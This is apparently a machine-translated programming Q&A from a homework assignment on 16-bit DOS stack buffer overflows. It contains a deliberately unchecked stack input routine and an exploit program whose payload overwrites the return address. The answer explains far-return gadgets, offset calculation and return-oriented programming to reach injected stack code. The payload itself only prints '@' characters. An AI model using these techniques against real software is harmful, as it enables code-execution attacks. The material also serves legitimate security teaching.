我得到了一份写入节目的作品。一个从用户那里获得输入,使用一个在堆栈上分配字符串的函数,并一次写入一个字符,直到它得到一个" Enter"。另一个程序使用第一个的缺陷,并通过堆栈overflaw,更改函数的返回地址,并将其指向恶意代码(我写入堆栈)。
我的问题是函数没有返回到我放入堆栈的地址(在StackSegment中),而只是转到CodeSegment中的地址。 这是获取输入的函数:( printStr函数从堆栈打印)
getStr PROC
push bp
mov bp, sp
add bp, 2
push ax
push dx
push di
push ds
sub sp, 10
mov di, sp
mov ah, 01
strToStack:
int 21h
cmp al, 0dh
je endLoop
mov byte ptr ss:[di], al
inc di
jmp strToStack
endLoop:
mov byte ptr ss:[di], '$'
lea dx, new_line
mov ah, 09
int 21h
push ss
pop ds
push sp
call printStr
add sp, 10
pop ds
pop di
pop dx
pop ax
pop bp
ret
endp
这是将恶意代码写入文本文件的程序,我将其用于第一个程序:
.model small
.stack 100
.code
main proc
push @data
pop ds
push ds
push cs
pop ds
lea dx, implant
mov ah, 09
int 21h
pop ds
exit:
mov ah, 4ch
int 21h
endp
implant:
blank db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address dd 0066h, 3182h
mov ah, 2
mov dl, '@'
loopy:
int 21h
jmp loopy
finish db 0dh,'$'
end main
答案 0 :(得分:0)
如果不允许修改代码,则在代码段中的任何位置搜索0CBh或0CAh字节。这些是远程返回指令,但实际上它们并没有被代码用于此目的。您只需要找到具有这些值之一的字节。更改函数的近返回地址(堆栈上的单个16位值),使其返回到该字节,然后在堆栈上放置恶意代码的偏移量和段。
请注意,0CAh字节是远返回的RET imm16 形式,这会导致它从堆栈中弹出参数。如果您使用此字节,您可能需要重新调整堆栈。
如果找不到0CBh / 0CAh字节,那么如果您知道堆栈段距离代码段不太远,那么您还有另一个选项。您可以使用堆栈上的代码相对于代码段的偏移作为近返回地址。因此,如果堆栈段位于3182h,则代码段位于3040h(随机选择一个数字),并且您的代码位于堆栈段中的偏移64h处,然后您的代码位于代码中的偏移(3182h - 3040h) * 16 + 64h = 1484h
处分割。在这种情况下,您将使用1484h而不是3182h:0066h替换返回地址。
如果您没有这些选项可供您使用,那么我无法想到任何其他明显的解决方案。其他标准的堆栈粉碎技术可能不适用。也许return oriented programming,但你的目标可执行文件中可能没有标准库,可能没有很多代码可以借用chucks。 (虽然后者意味着堆栈段应远离代码段。)